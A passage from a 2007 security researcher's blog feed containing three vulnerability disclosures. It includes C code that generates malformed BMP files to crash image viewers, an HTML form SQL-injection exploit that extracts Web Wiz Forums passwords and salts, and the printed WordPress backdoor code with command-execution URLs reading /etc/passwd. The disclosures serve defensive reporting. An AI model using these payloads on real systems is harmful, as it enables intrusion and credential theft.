vendors&lt;br /&gt;&lt;em&gt;Feb 23 2007&lt;/em&gt; - Got response from ACD System support saying that they forwarded the information to the Quality Assurance and that they would contact me when they hear back from them. Never heard from them after that.&lt;br /&gt;&lt;em&gt;Apr 04 2007&lt;/em&gt; - Release of this report&lt;br /&gt;&lt;br /&gt;Note: It is possible that some of the bugs mentioned here were fixed quietly. I didn't check.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Appendix II - A possible Win XP SP1 vulnerability&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;On an old machine running Windows XP SP1 I encountered unusual behavior with one of my test images. When clicking on the w4intof.bmp in Windows Explorer (with the file details pane on the left of the window turned on) or viewing files as thumbnails in the containing folder, the Explorer crashes and Windows reports the exception code 0xc0000005, indicating a possible overflow. It is possible that Windows Explorer in SP1 too suffers from this kind of vulnerability. However I only had that one machine with SP1 installed and on the machines with other windows versions (such as XP SP2) I didn't encounter any unusual behavior. I wrote to Microsoft about this promply after discovery. They responded that they no longer support XP SP1 and this is not something they would investigate for for an out-of-support product.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Appendix III - Source code&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct BITMAPFILEHEADER {&lt;br /&gt;unsigned int bfSize;&lt;br /&gt;unsigned int bfReserved;&lt;br /&gt;unsigned int bfOffBits;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;struct BITMAPINFOHEADER {&lt;br /&gt;unsigned int biSize;&lt;br /&gt;unsigned int biWidth;&lt;br /&gt;unsigned int biHeight;&lt;br /&gt;unsigned short biPlanes;&lt;br /&gt;unsigned short biBitCount;&lt;br /&gt;unsigned int biCompression;&lt;br /&gt;unsigned int biSizeImage;&lt;br /&gt;unsigned int biXPelsPerMeter;&lt;br /&gt;unsigned int biYPelsPerMeter;&lt;br /&gt;unsigned int biClrUsed;&lt;br /&gt;unsigned int biClrImportant;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) {&lt;br /&gt;BITMAPFILEHEADER fileheader;&lt;br /&gt;BITMAPINFOHEADER infoheader;&lt;br /&gt;&lt;br /&gt;memset(&amp;fileheader,0,sizeof(BITMAPFILEHEADER));&lt;br /&gt;memset(&amp;infoheader,0,sizeof(BITMAPINFOHEADER));&lt;br /&gt;&lt;br /&gt;unsigned char sig[2];&lt;br /&gt;sig[0] = 'B';&lt;br /&gt;sig[1] = 'M';&lt;br /&gt;&lt;br /&gt;fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes;&lt;br /&gt;fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4;&lt;br /&gt;&lt;br /&gt;infoheader.biSize = 40;&lt;br /&gt;infoheader.biWidth = width;&lt;br /&gt;infoheader.biHeight = height;&lt;br /&gt;infoheader.biPlanes = 1;&lt;br /&gt;infoheader.biBitCount = bpp;&lt;br /&gt;infoheader.biCompression = compression;&lt;br /&gt;infoheader.biClrUsed = numpalettecolors;&lt;br /&gt;&lt;br /&gt;FILE *fp = fopen(filename,"wb");&lt;br /&gt;fwrite(&amp;sig,sizeof(sig),1,fp);&lt;br /&gt;fwrite(&amp;fileheader,sizeof(BITMAPFILEHEADER),1,fp);&lt;br /&gt;fwrite(&amp;infoheader,sizeof(BITMAPINFOHEADER),1,fp);&lt;br /&gt;if(palette) fwrite(palette,numpalettecolors*4,1,fp);&lt;br /&gt;fwrite(data,numdatabytes,1,fp);&lt;br /&gt;fclose(fp);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main() {&lt;br /&gt;unsigned char * buf;&lt;br /&gt;buf = (unsigned char *)malloc(4000000);&lt;br /&gt;memset(buf,0,4000000);&lt;br /&gt;unsigned char * buf2;&lt;br /&gt;buf2 = (unsigned char *)malloc(4000000);&lt;br /&gt;memset(buf2,0,4000000);&lt;br /&gt;&lt;br /&gt;//overflows specifying too large palette&lt;br /&gt;writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16);&lt;br /&gt;writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16);&lt;br /&gt;writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16);&lt;br /&gt;&lt;br /&gt;//integer overflows with image dimensions&lt;br /&gt;writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4);&lt;br /&gt;writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000);&lt;br /&gt;writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000);&lt;br /&gt;writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000);&lt;br /&gt;writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000);&lt;br /&gt;&lt;br /&gt;//overflows with RLE encoded BMPs&lt;br /&gt;buf2[0]=16;&lt;br /&gt;buf2[1]=0;&lt;br /&gt;writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2);&lt;br /&gt;for(long i=0;i&lt;500000;i++) {&lt;br /&gt;buf2[i*2]=255;&lt;br /&gt;buf2[i*2+1]=0;&lt;br /&gt;}&lt;br /&gt;writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000);&lt;br /&gt;buf2[0]=15;&lt;br /&gt;buf2[1]=0;&lt;br /&gt;for(long i=1;i&lt;500000;i++) {&lt;br /&gt;buf2[i*2]=255;&lt;br /&gt;buf2[i*2+1]=0;&lt;br /&gt;}&lt;br /&gt;writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000);&lt;br /&gt;memset(buf2,0,4000000);&lt;br /&gt;buf2[0]=0;&lt;br /&gt;buf2[1]=2;&lt;br /&gt;buf2[2]=255;&lt;br /&gt;buf2[3]=0;&lt;br /&gt;for(long i=4;i&lt;100000-1;) {&lt;br /&gt;buf2[i]=0;&lt;br /&gt;buf2[i+1]=254;&lt;br /&gt;i+=255;&lt;br /&gt;}&lt;br /&gt;writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000);&lt;br /&gt;memset(buf2,0,4000000);&lt;br /&gt;for(long i=0;i&lt;100000-1;) {&lt;br /&gt;buf2[i]=0;&lt;br /&gt;buf2[i+1]=254;&lt;br /&gt;i+=255;&lt;br /&gt;}&lt;br /&gt;writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000);&lt;br /&gt;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-3621659634277480120?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/3621659634277480120/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=3621659634277480120' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/3621659634277480120'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/3621659634277480120'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2007/04/several-windows-image-viewers.html' title='Several Windows image viewers vulnerabilities'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-718919343139830184</id><published>2007-03-20T06:08:00.000-07:00</published><updated>2007-03-20T06:43:27.716-07:00</updated><title type='text'>Web Wiz Forums 8.05 (MySQL version) SQL Injection</title><content type='html'>There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;'Format SQL Query funtion&lt;br /&gt;Private Function formatSQLInput(ByVal strInputEntry)&lt;br /&gt;'Remove malisous charcters from sql&lt;br /&gt;strInputEntry = Replace(strInputEntry, "\'", "&amp;amp;#092;'", 1, -1, 1)&lt;br /&gt;strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)&lt;br /&gt;strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1)&lt;br /&gt;strInputEntry = Replace(strInputEntry, "[", "&amp;amp;#091;", 1, -1, 1)&lt;br /&gt;strInputEntry = Replace(strInputEntry, "]", "&amp;amp;#093;", 1, -1, 1)&lt;br /&gt;strInputEntry = Replace(strInputEntry, "&amp;lt;", "&amp;amp;lt;", 1, -1, 1)&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;&lt;span style="font-family:arial;"&gt;strInputEntry = Replace(strInputEntry, "&amp;gt;", "&amp;amp;gt;", 1, -1, 1)&lt;br /&gt;'Return&lt;br /&gt;formatSQLInput = strInputEntry&lt;br /&gt;End Function&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it.&lt;br /&gt;&lt;br /&gt;Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character.&lt;br /&gt;&lt;br /&gt;Below I include a small exploit that demonstrates this vulnerability.&lt;br /&gt;&lt;br /&gt;Mar 19th 2007: Vulnerability discovered&lt;br /&gt;Mar 20th 2007: Vendor contacted&lt;br /&gt;Mar 20th 2007: Vendor responded&lt;br /&gt;Mar 20th 2007: Vendor released fixed version (8.05a)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&amp;lt;form method=&amp;quot;post&amp;quot; action=&amp;quot;http://localhost/forum/pop_up_member_search.asp?&amp;quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;name&amp;quot; id=&amp;quot;name&amp;quot; value=&amp;quot;\&amp;amp;quot;&amp;amp;#039; union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*&amp;quot; &amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Go&amp;quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;font-size:85%;"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-718919343139830184?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/718919343139830184/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=718919343139830184' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/718919343139830184'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/718919343139830184'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2007/03/web-wiz-forums-805-mysql-version-sql.html' title='Web Wiz Forums 8.05 (MySQL version) SQL Injection'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2001595886969899899.post-5493263714143192941</id><published>2007-03-03T00:07:00.000-08:00</published><updated>2007-03-03T00:24:07.157-08:00</updated><title type='text'>WordPress source code compromised to enable remote code execution</title><content type='html'>While assessing the security of WordPress, a popular blog creation software, I have discovered that it's source code has recently been compromised by a third party in order to enable remote command execution on the machines running affected versions. The compromised files are wp-includes/feed.php and wp-includes/theme.php.&lt;br /&gt;The following code has been added:&lt;br /&gt;&lt;br /&gt;in wp-includes/feed.php&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;font-size:85%;"&gt;function comment_text_phpfilter($filterdata) {&lt;br /&gt;   eval($filterdata);&lt;br /&gt;}&lt;br /&gt;...&lt;br /&gt;if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;in wp-includes/theme.php&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;function get_theme_mcommand($mcds) {&lt;br /&gt;   passthru($mcds);&lt;br /&gt;}&lt;br /&gt;...&lt;br /&gt;if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;this would enable remote command execution on machines running compromised versions, for example&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-size:85%;"&gt;http://wordpressurl/wp-includes/feed.php?ix=phpinfo();&lt;br /&gt;http://wordpressurl/wp-includes/theme.php?iz=cat /etc/passwd&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;I have discovered this vulnerability on Friday, March 2nd 2007 and contacted WordPress about it straight away. They reacted promptly by disabling downloads until further investigation. Later they determined that ony one of two servers has been compromised and that the two files mentioned above are the only ones changed.&lt;br /&gt;&lt;br /&gt;It seems that the above files were changed on Feb 25th, 2007, so if you downloaded WordPress between Feb 25th, 2007 and Mar 2nd 2007 it is possible that you are running a compromised version, so be sure to check for the above code.&lt;br /&gt;&lt;br /&gt;About Wordpress&lt;br /&gt;"WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time."&lt;br /&gt;&lt;br /&gt;Thanks to Ryan Boren of WordPress for quick response and his feedback regarding this issue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2001595886969899899-5493263714143192941?l=ifsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ifsec.blogspot.com/feeds/5493263714143192941/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2001595886969899899&amp;postID=5493263714143192941' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/5493263714143192941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2001595886969899899/posts/default/5493263714143192941'/><link rel='alternate' type='text/html' href='http://ifsec.blogspot.com/2007/03/wordpress-code-compromised-to-enable.html' title='WordPress source code compromised to enable remote code execution'/><author><name>Ivan Fratric</name><uri>http://www.blogger.com/profile/03011648433786848352</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry></feed>
